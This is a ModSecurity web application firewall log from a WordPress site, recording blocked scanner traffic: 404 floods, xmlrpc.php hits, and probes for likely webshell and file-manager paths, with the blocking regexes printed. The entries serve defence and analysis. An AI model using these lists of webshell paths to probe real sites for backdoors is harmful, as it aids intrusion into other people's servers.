[Sat Apr 18 21:13:33.865627 2026] [:error] [pid 9864:tid 9917] [client 4.223.172.220:57820] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gecko.php"] [unique_id "aeODfYCFeowknfXHM7kkvAAAAEs"]
[Sat Apr 18 21:13:35.027016 2026] [:error] [pid 13023:tid 13031] [client 4.223.172.220:39866] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gecko.php"] [unique_id "aeODf_1e7hG8DAeABB8XdAAAAQY"]
[Sat Apr 18 21:13:36.949594 2026] [:error] [pid 9970:tid 9995] [client 4.223.172.220:47208] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "aeODgCYdRLRhVmaIMx3BJgAAANU"]
[Sat Apr 18 21:13:37.640208 2026] [:error] [pid 9865:tid 9951] [client 4.223.172.220:39849] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "aeODgazb5knECIY-C-iM5gAAAI4"]
[Sat Apr 18 21:13:38.402920 2026] [:error] [pid 13023:tid 13049] [client 4.223.172.220:39855] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "aeODgv1e7hG8DAeABB8XhAAAARg"]
[Sat Apr 18 21:13:39.793384 2026] [:error] [pid 9863:tid 9897] [client 4.223.172.220:57821] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aevly.php"] [unique_id "aeODgzjjiypiFrTucbLR9AAAABg"]
[Sat Apr 18 21:13:40.622878 2026] [:error] [pid 13023:tid 13036] [client 4.223.172.220:46245] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws68.php"] [unique_id "aeODhP1e7hG8DAeABB8XkgAAAQs"]
[Sat Apr 18 21:13:41.523694 2026] [:error] [pid 13023:tid 13029] [client 4.223.172.220:51407] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws68.php"] [unique_id "aeODhf1e7hG8DAeABB8XoQAAAQQ"]
[Sat Apr 18 21:13:42.317321 2026] [:error] [pid 32678:tid 32721] [client 4.223.172.220:57806] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws68.php"] [unique_id "aeODhhUlAXU_ZWUu5y_9XAAAAo4"]
[Sat Apr 18 21:13:43.947000 2026] [:error] [pid 13023:tid 13039] [client 4.223.172.220:61018] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws68.php"] [unique_id "aeODh_1e7hG8DAeABB8XtwAAAQ4"]
[Sat Apr 18 21:13:46.813745 2026] [:error] [pid 32678:tid 32709] [client 4.223.172.220:61024] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pp.php"] [unique_id "aeODihUlAXU_ZWUu5y_9YgAAAoI"]
[Sat Apr 18 21:13:48.174368 2026] [:error] [pid 9970:tid 9994] [client 4.223.172.220:42348] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pp.php"] [unique_id "aeODjCYdRLRhVmaIMx3BLwAAANQ"]
[Sat Apr 18 21:13:49.045177 2026] [:error] [pid 9865:tid 9954] [client 4.223.172.220:42335] [client 4.223.172.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pp.php"] [unique_id "aeODjazb5knECIY-C-iM6wAAAJE"]
[Sat Apr 18 21:38:44.832136 2026] [:error] [pid 9864:tid 9929] [client 49.51.245.241:44854] [client 49.51.245.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeOJZICFeowknfXHM7kn5gAAAFc"]
[Sat Apr 18 21:39:20.920451 2026] [:error] [pid 9864:tid 9924] [client 67.205.159.76:45674] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeOJiICFeowknfXHM7koBAAAAFI"]
[Sat Apr 18 22:07:59.507675 2026] [:error] [pid 34288:tid 34305] [client 43.152.72.244:52020] [client 43.152.72.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeOQP-TIiy__PtiLmpnbFwAAAY0"]
[Sat Apr 18 22:08:35.568998 2026] [:error] [pid 13023:tid 13045] [client 185.226.232.56:38340] [client 185.226.232.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.226.232.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeOQY_1e7hG8DAeABB8vMgAAARQ"]
[Sat Apr 18 22:26:56.833577 2026] [:error] [pid 9864:tid 9920] [client 106.54.62.156:55588] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aeOUsICFeowknfXHM7kvSQAAAE4"]
[Sat Apr 18 23:05:34.570126 2026] [:error] [pid 13023:tid 13047] [client 85.128.143.124:56088] [client 85.128.143.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeOdvv1e7hG8DAeABB9HTAAAARY"]
[Sun Apr 19 00:06:39.928931 2026] [:error] [pid 32166:tid 32198] [client 149.202.183.73:51500] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeOsD5CHNkWwdiZnafK2BAAAAEA"]
[Sun Apr 19 00:13:10.556912 2026] [:error] [pid 32165:tid 32177] [client 217.199.148.236:64678] [client 217.199.148.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.199.148.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeOtlqe2vKwEk_N0Brbi5gAAAAg"]
[Sun Apr 19 00:13:21.318153 2026] [:error] [pid 32252:tid 32273] [client 217.199.148.236:64969] [client 217.199.148.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.199.148.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeOtoeXl4Yc-Lt5fJ9iA0wAAARM"]
[Sun Apr 19 00:13:32.002848 2026] [:error] [pid 33517:tid 33538] [client 217.199.148.236:65228] [client 217.199.148.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.199.148.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeOtrH4Zz-rubR1wiZ99FgAAANM"]
[Sun Apr 19 00:13:42.734245 2026] [:error] [pid 33517:tid 33531] [client 217.199.148.236:65477] [client 217.199.148.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.199.148.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeOttn4Zz-rubR1wiZ99MAAAAMw"]
[Sun Apr 19 00:13:53.478140 2026] [:error] [pid 32165:tid 32175] [client 217.199.148.236:49352] [client 217.199.148.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.199.148.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeOtwae2vKwEk_N0Brbi9AAAAAY"]
[Sun Apr 19 01:16:06.079560 2026] [:error] [pid 60910:tid 60918] [client 185.98.139.110:34888] [client 185.98.139.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.98.139.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeO8VnFWunkyacYqsD0lrwAAAUY"]
[Sun Apr 19 02:21:47.619725 2026] [:error] [pid 32167:tid 32238] [client 159.89.91.236:38992] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aePLu0yD4Jm27Mb3NJiLLwAAAI0"]
[Sun Apr 19 02:26:04.801528 2026] [:error] [pid 32167:tid 32245] [client 45.137.126.58:54557] [client 45.137.126.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aePMvEyD4Jm27Mb3NJiNTgAAAJQ"]
[Sun Apr 19 02:26:11.085906 2026] [:error] [pid 60910:tid 60919] [client 45.137.126.56:64037] [client 45.137.126.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aePMw3FWunkyacYqsD1FwwAAAUc"]
[Sun Apr 19 02:26:21.807590 2026] [:error] [pid 41277:tid 41287] [client 45.137.126.64:61581] [client 45.137.126.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "aePMzUH3ayszMLZYflsAiAAAAYg"]
[Sun Apr 19 02:26:28.034976 2026] [:error] [pid 32167:tid 32231] [client 45.137.126.102:60617] [client 45.137.126.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/index.php"] [unique_id "aePM1EyD4Jm27Mb3NJiNowAAAIY"]
[Sun Apr 19 02:26:38.949719 2026] [:error] [pid 33517:tid 33538] [client 45.137.126.99:31751] [client 45.137.126.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aePM3n4Zz-rubR1wiZ-3VAAAANM"]
[Sun Apr 19 02:26:42.204195 2026] [:error] [pid 60910:tid 60919] [client 45.137.126.87:54249] [client 45.137.126.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aePM4nFWunkyacYqsD1F8QAAAUc"]
[Sun Apr 19 02:26:43.225151 2026] [:error] [pid 33517:tid 33519] [client 45.137.126.76:41451] [client 45.137.126.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aePM434Zz-rubR1wiZ-3WgAAAMA"]
[Sun Apr 19 02:26:44.241394 2026] [:error] [pid 32166:tid 32206] [client 45.137.126.86:38373] [client 45.137.126.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aePM5JCHNkWwdiZnafLUBwAAAEg"]
[Sun Apr 19 02:26:45.259245 2026] [:error] [pid 32167:tid 32238] [client 45.137.126.54:47811] [client 45.137.126.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aePM5UyD4Jm27Mb3NJiN2gAAAI0"]
[Sun Apr 19 02:26:46.278348 2026] [:error] [pid 32167:tid 32240] [client 45.137.126.82:64749] [client 45.137.126.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aePM5kyD4Jm27Mb3NJiN3QAAAI8"]
[Sun Apr 19 02:26:48.491536 2026] [:error] [pid 41277:tid 41294] [client 45.137.126.84:54999] [client 45.137.126.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aePM6EH3ayszMLZYflsAngAAAY8"]
[Sun Apr 19 02:26:52.293564 2026] [:error] [pid 32165:tid 32181] [client 45.137.126.64:26411] [client 45.137.126.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "aePM7Ke2vKwEk_N0Brb82gAAAAw"]
[Sun Apr 19 02:26:57.021191 2026] [:error] [pid 32252:tid 32271] [client 45.137.126.70:65025] [client 45.137.126.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aePM8eXl4Yc-Lt5fJ9ioXAAAARE"]
[Sun Apr 19 02:26:59.270157 2026] [:error] [pid 41277:tid 41298] [client 45.137.126.62:52595] [client 45.137.126.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aePM80H3ayszMLZYflsAsQAAAZM"]
[Sun Apr 19 02:27:02.555161 2026] [:error] [pid 32165:tid 32188] [client 45.137.126.80:64889] [client 45.137.126.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aePM9qe2vKwEk_N0Brb88wAAABM"]
[Sun Apr 19 02:27:13.055651 2026] [:error] [pid 60910:tid 60917] [client 45.137.126.56:41187] [client 45.137.126.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aePNAXFWunkyacYqsD1GOgAAAUU"]
[Sun Apr 19 02:27:16.276505 2026] [:error] [pid 32252:tid 32256] [client 45.137.126.83:24097] [client 45.137.126.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aePNBOXl4Yc-Lt5fJ9iodQAAAQI"]
[Sun Apr 19 02:27:21.006451 2026] [:error] [pid 32166:tid 32220] [client 45.137.126.72:25461] [client 45.137.126.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/defaults.php"] [unique_id "aePNCZCHNkWwdiZnafLUVQAAAFY"]
[Sun Apr 19 02:27:24.267799 2026] [:error] [pid 60910:tid 60926] [client 45.137.126.94:53717] [client 45.137.126.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/index.php"] [unique_id "aePNDHFWunkyacYqsD1GRgAAAU4"]
[Sun Apr 19 02:27:32.375087 2026] [:error] [pid 32165:tid 32183] [client 45.137.126.66:28915] [client 45.137.126.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aePNFKe2vKwEk_N0Brb9JAAAAA4"]
[Sun Apr 19 02:27:35.608044 2026] [:error] [pid 32166:tid 32201] [client 45.137.126.63:61347] [client 45.137.126.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aePNF5CHNkWwdiZnafLUfAAAAEM"]
[Sun Apr 19 02:27:38.836512 2026] [:error] [pid 33517:tid 33536] [client 45.137.126.85:39253] [client 45.137.126.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/index.php"] [unique_id "aePNGn4Zz-rubR1wiZ-3pgAAANE"]
[Sun Apr 19 02:27:39.862299 2026] [:error] [pid 32252:tid 32272] [client 45.137.126.100:47237] [client 45.137.126.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aePNG-Xl4Yc-Lt5fJ9iohgAAARI"]
[Sun Apr 19 02:27:40.891495 2026] [:error] [pid 32166:tid 32222] [client 45.137.126.72:28979] [client 45.137.126.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "aePNHJCHNkWwdiZnafLUggAAAFg"]
